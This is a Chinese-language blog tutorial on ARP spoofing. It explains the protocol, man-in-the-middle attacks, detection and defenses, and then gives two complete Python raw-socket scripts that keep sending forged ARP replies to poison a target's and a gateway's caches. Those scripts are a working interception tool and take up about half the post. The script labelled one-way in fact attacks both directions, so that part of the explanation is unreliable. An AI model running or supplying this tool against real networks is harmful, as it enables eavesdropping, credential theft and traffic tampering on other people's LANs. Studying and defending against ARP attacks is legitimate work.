banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

揭秘网络安全:如何用Python进行ARP欺骗攻击

ARP 欺骗攻击详解#

什么是 ARP?#

ARP(Address Resolution Protocol,地址解析协议)是用于将网络层的 IP 地址解析为数据链路层的 MAC 地址的协议。它在局域网(LAN)中起着关键作用,因为以太网等数据链路层协议使用 MAC 地址进行通信,而 IP 协议使用的是 IP 地址。

工作原理:#

  1. 当一个设备需要与另一个设备通信时,它会检查目标 IP 地址。
  2. 如果目标设备在同一局域网中,则发送方需要知道目标设备的 MAC 地址。
  3. 如果发送方不知道目标设备的 MAC 地址,它会广播一个 ARP 请求("谁拥有这个 IP 地址?"),目标设备会回应其 MAC 地址。
  4. 发送方将收到的 IP-MAC 映射存储在本地的 ARP 缓存表中,以便后续通信。

什么是 ARP 欺骗攻击?#

ARP 欺骗(ARP Spoofing)是一种针对局域网的攻击技术,通过伪造 ARP 响应包来篡改目标设备的 ARP 缓存表,从而实现中间人攻击(Man-in-the-Middle Attack)。这种攻击的主要目的是拦截、篡改或窃听局域网内的通信流量。

攻击原理:#

攻击者向目标设备发送伪造的 ARP 响应包,声称攻击者的 MAC 地址对应于某个合法设备的 IP 地址。目标设备接收到伪造的 ARP 响应后,会更新其 ARP 缓存表,将合法设备的 IP 地址映射到攻击者的 MAC 地址。结果是,原本应该发往合法设备的数据包被错误地转发给了攻击者。

攻击结果:#

  • 中间人攻击:攻击者可以拦截并篡改目标设备与其他设备之间的通信内容。
  • 流量劫持:攻击者可以窃取敏感信息,如用户名、密码、银行账户信息等。
  • 拒绝服务:如果攻击者持续发送伪造的 ARP 响应,可能导致目标设备无法正常通信。

ARP 欺骗攻击的工作流程#

准备阶段:#

  • 攻击者首先确定目标设备和网关设备的 IP 地址和 MAC 地址。
  • 攻击者需要能够接入目标局域网,并且具有发送伪造 ARP 包的能力。

伪造 ARP 响应:#

攻击者构造伪造的 ARP 响应包,声称自己的 MAC 地址对应于目标设备或网关设备的 IP 地址。
例如:

  • 攻击者向目标设备发送伪造的 ARP 响应,声称攻击者的 MAC 地址对应于网关的 IP 地址。
  • 攻击者向网关设备发送伪造的 ARP 响应,声称攻击者的 MAC 地址对应于目标设备的 IP 地址。

篡改 ARP 缓存表:#

目标设备接收到伪造的 ARP 响应后,更新其 ARP 缓存表,将网关的 IP 地址映射到攻击者的 MAC 地址。
网关设备也更新其 ARP 缓存表,将目标设备的 IP 地址映射到攻击者的 MAC 地址。

流量拦截:#

目标设备与网关设备之间的通信流量被重定向到攻击者。攻击者可以:

  • 被动监听流量,窃取敏感信息。
  • 主动篡改流量内容,注入恶意代码或篡改数据。
  • 阻断通信,导致拒绝服务。

ARP 欺骗攻击的类型#

单向 ARP 欺骗:#

攻击者只向目标设备发送伪造的 ARP 响应,使得目标设备将网关的 IP 地址映射到攻击者的 MAC 地址。
攻击者可以拦截从目标设备发出的所有流量,但无法拦截发往目标设备的流量。

双向 ARP 欺骗:#

攻击者同时向目标设备和网关设备发送伪造的 ARP 响应。
目标设备和网关设备都更新其 ARP 缓存表,将对方的 IP 地址映射到攻击者的 MAC 地址。
攻击者可以完全控制目标设备与网关设备之间的双向通信。

ARP 欺骗攻击的危害#

  • 隐私泄露:攻击者可以窃取目标设备的敏感信息,如登录凭证、信用卡信息等。
  • 数据篡改:攻击者可以修改传输中的数据包,注入恶意代码或篡改内容。
  • 拒绝服务:攻击者可以通过持续发送伪造的 ARP 响应,导致目标设备无法正常通信。
  • 网络瘫痪:在大规模网络中,ARP 欺骗攻击可能导致整个局域网的通信中断。

如何检测 ARP 欺骗攻击?#

手动检查 ARP 缓存表:#

使用命令查看 ARP 缓存表(如 arp -aip neigh)。
检查是否存在多个 IP 地址映射到同一个 MAC 地址的情况。

网络监控工具:#

使用专业的网络监控工具(如 Wireshark)捕获和分析网络流量。
检测异常的 ARP 响应包或重复的 MAC 地址。

入侵检测系统(IDS):#

部署 IDS(如 Snort)来实时监测网络中的异常行为。

如何防御 ARP 欺骗攻击?#

  • 静态 ARP 表:手动配置固定的 IP-MAC 映射关系,防止 ARP 缓存表被篡改。
    缺点:维护成本高,不适合大型网络。

  • 启用 ARP 保护功能:许多交换机支持动态 ARP 保护功能(如 Cisco 的 DAI,Dynamic ARP Inspection)。
    这些功能可以验证 ARP 包的合法性,并阻止伪造的 ARP 包。

  • 使用加密协议:使用 HTTPS、SSH 等加密协议,即使流量被拦截,也无法轻易解密。

  • 网络分段:将网络划分为多个子网,限制攻击者的活动范围。

  • 部署防火墙:配置防火墙规则,限制不必要的流量进出。

  • 定期审计网络:定期检查网络设备的 ARP 缓存表和日志,发现异常行为。

总结#

ARP 欺骗攻击利用了 ARP 协议的无状态性和缺乏验证机制的特点,能够在局域网中轻松实施中间人攻击。尽管 ARP 协议本身存在安全隐患,但通过合理的安全措施(如静态 ARP 表、动态 ARP 保护、加密通信等),可以有效防御此类攻击。对于网络安全管理人员来说,了解 ARP 欺骗攻击的原理和防御方法至关重要,以确保局域网的安全性。
备注:python 代码(单向 ARP 欺骗)

import os
import sys
import struct
import socket
import binascii
import time  # 用于定时发送ARP包

# 定义目标设备的信息
target_ip = '192.168.1.47'  # 目标设备的IP地址
target_mac = '00:11:22:33:44:55'  # 目标设备的MAC地址

# 定义攻击者的信息
attacker_ip = '192.168.1.35'  # 攻击者的IP地址
attacker_mac = 'aa:bb:cc:dd:ee:ff'  # 攻击者的MAC地址

# 定义网关设备的信息(如果是双向ARP欺骗)
gateway_ip = '192.168.1.1'  # 网关设备的IP地址
gateway_mac = '11:22:33:44:55:66'  # 网关设备的MAC地址

# 构造ARP响应包函数
def create_arp_packet(src_mac, src_ip, dst_mac, dst_ip):
    """
    构造一个ARP响应包。
    :param src_mac: 发送者的MAC地址(攻击者的MAC地址)
    :param src_ip: 发送者的IP地址(攻击者的IP地址)
    :param dst_mac: 目标的MAC地址
    :param dst_ip: 目标的IP地址
    :return: 构造好的ARP响应包
    """
    return struct.pack(
        '!6s6s2s2s2s1s1s2s6s4s6s4s',  # 格式化字符串,定义了每个字段的字节顺序和长度
        binascii.unhexlify('ff' * 6),  # 广播MAC地址
        binascii.unhexlify(src_mac.replace(':', '')),  # 源MAC地址
        binascii.unhexlify('08 06'),  # EtherType,0x0806表示ARP协议
        binascii.unhexlify('00 01'),  # 硬件类型,0x0001表示以太网
        binascii.unhexlify('08 00'),  # 协议类型,0x0800表示IPv4
        binascii.unhexlify('06'),     # 硬件地址长度,6字节(MAC地址长度)
        binascii.unhexlify('04'),     # 协议地址长度,4字节(IPv4地址长度)
        binascii.unhexlify('00 02'),  # 操作码,0x0002表示ARP响应
        binascii.unhexlify(src_mac.replace(':', '')),  # 发送者的MAC地址
        socket.inet_aton(src_ip),  # 发送者的IP地址
        binascii.unhexlify(dst_mac.replace(':', '')),  # 目标的MAC地址
        socket.inet_aton(dst_ip)  # 目标的IP地址
    )

# 创建原始套接字
def create_raw_socket(interface):
    """
    创建一个原始套接字并绑定到指定的网络接口。
    :param interface: 网络接口名称(如 'eth0')
    :return: 原始套接字对象
    """
    sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)
    sock.bind((interface, 0))  # 绑定到指定的网络接口
    return sock

# 主函数:持续发送ARP包
def main():
    # 替换为实际的网络接口名称
    interface = 'eth0'

    # 创建原始套接字
    try:
        sock = create_raw_socket(interface)
        print(f"成功创建原始套接字并绑定到接口 {interface}")
    except Exception as e:
        print(f"创建原始套接字失败:{e}")
        return

    # 构造两个ARP响应包(双向ARP欺骗)
    arp_to_target = create_arp_packet(attacker_mac, gateway_ip, target_mac, target_ip)
    arp_to_gateway = create_arp_packet(attacker_mac, target_ip, gateway_mac, gateway_ip)

    print("开始持续发送ARP包...按 Ctrl+C 停止")

    try:
        while True:
            # 向目标设备发送伪造的ARP响应包
            sock.send(arp_to_target)
            print(f"已发送ARP包到目标设备({target_ip} -> 攻击者)")

            # 向网关设备发送伪造的ARP响应包
            sock.send(arp_to_gateway)
            print(f"已发送ARP包到网关设备({gateway_ip} -> 攻击者)")

            # 等待一段时间再发送下一轮ARP包
            time.sleep(2)  # 每隔2秒发送一次ARP包
    except KeyboardInterrupt:
        print("\n检测到用户中断,停止发送ARP包...")
    finally:
        sock.close()  # 关闭套接字
        print("套接字已关闭")

if __name__ == "__main__":
    main()

备注:python 代码(双向 ARP 欺骗核心思想是同时向目标设备和网关设备发送伪造的 ARP 响应包,使得双方都将对方的 IP 地址映射到攻击者的 MAC 地址。这样,攻击者可以完全控制目标设备与网关之间的双向通信。)

import os
import sys
import struct
import socket
import binascii
import time  # 用于定时发送ARP包

# 定义目标设备的信息
target_ip = '192.168.1.47'  # 目标设备的IP地址
target_mac = '00:11:22:33:44:55'  # 目标设备的MAC地址

# 定义攻击者的信息
attacker_ip = '192.168.1.35'  # 攻击者的IP地址
attacker_mac = 'aa:bb:cc:dd:ee:ff'  # 攻击者的MAC地址

# 定义网关设备的信息
gateway_ip = '192.168.1.1'  # 网关设备的IP地址
gateway_mac = '11:22:33:44:55:66'  # 网关设备的MAC地址

# 构造ARP响应包函数
def create_arp_packet(src_mac, src_ip, dst_mac, dst_ip):
    """
    构造一个ARP响应包。
    :param src_mac: 发送者的MAC地址(攻击者的MAC地址)
    :param src_ip: 发送者的IP地址(攻击者的IP地址)
    :param dst_mac: 目标的MAC地址
    :param dst_ip: 目标的IP地址
    :return: 构造好的ARP响应包
    """
    return struct.pack(
        '!6s6s2s2s2s1s1s2s6s4s6s4s',  # 格式化字符串,定义了每个字段的字节顺序和长度
        binascii.unhexlify(dst_mac.replace(':', '')),  # 目标MAC地址(广播或特定设备)
        binascii.unhexlify(src_mac.replace(':', '')),  # 源MAC地址
        binascii.unhexlify('08 06'),  # EtherType,0x0806表示ARP协议
        binascii.unhexlify('00 01'),  # 硬件类型,0x0001表示以太网
        binascii.unhexlify('08 00'),  # 协议类型,0x0800表示IPv4
        binascii.unhexlify('06'),     # 硬件地址长度,6字节(MAC地址长度)
        binascii.unhexlify('04'),     # 协议地址长度,4字节(IPv4地址长度)
        binascii.unhexlify('00 02'),  # 操作码,0x0002表示ARP响应
        binascii.unhexlify(src_mac.replace(':', '')),  # 发送者的MAC地址
        socket.inet_aton(src_ip),  # 发送者的IP地址
        binascii.unhexlify(dst_mac.replace(':', '')),  # 目标的MAC地址
        socket.inet_aton(dst_ip)  # 目标的IP地址
    )

# 创建原始套接字
def create_raw_socket(interface):
    """
    创建一个原始套接字并绑定到指定的网络接口。
    :param interface: 网络接口名称(如 'eth0')
    :return: 原始套接字对象
    """
    sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)
    sock.bind((interface, 0))  # 绑定到指定的网络接口
    return sock

# 主函数:持续发送ARP包
def main():
    # 替换为实际的网络接口名称
    interface = 'eth0'

    # 创建原始套接字
    try:
        sock = create_raw_socket(interface)
        print(f"成功创建原始套接字并绑定到接口 {interface}")
    except Exception as e:
        print(f"创建原始套接字失败:{e}")
        return

    # 构造两个ARP响应包(双向ARP欺骗)
    arp_to_target = create_arp_packet(attacker_mac, gateway_ip, target_mac, target_ip)
    arp_to_gateway = create_arp_packet(attacker_mac, target_ip, gateway_mac, gateway_ip)

    print("开始持续发送双向ARP包...按 Ctrl+C 停止")

    try:
        while True:
            # 向目标设备发送伪造的ARP响应包(欺骗目标设备)
            sock.send(arp_to_target)
            print(f"已发送ARP包到目标设备({target_ip} -> 攻击者)")

            # 向网关设备发送伪造的ARP响应包(欺骗网关设备)
            sock.send(arp_to_gateway)
            print(f"已发送ARP包到网关设备({gateway_ip} -> 攻击者)")

            # 等待一段时间再发送下一轮ARP包
            time.sleep(2)  # 每隔2秒发送一次ARP包
    except KeyboardInterrupt:
        print("\n检测到用户中断,停止发送ARP包...")
    finally:
        sock.close()  # 关闭套接字
        print("套接字已关闭")

if __name__ == "__main__":
    main()
特征单向 ARP 欺骗双向 ARP 欺骗
攻击范围只能拦截从目标设备发出的流量可以拦截目标设备与网关之间的双向流量
攻击目标目标设备目标设备和网关设备
复杂度较低较高(需要同时伪造两个方向的 ARP 响应)
防御难度较容易检测和防御更难检测和防御

注意事项

合法性 :
此代码仅用于学习和研究目的,请勿用于非法用途。
在未经授权的情况下对他人网络进行 ARP 欺骗攻击可能违反法律。

测试环境 :
建议在受控的实验环境中测试,例如虚拟机或专用的实验室网络。

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。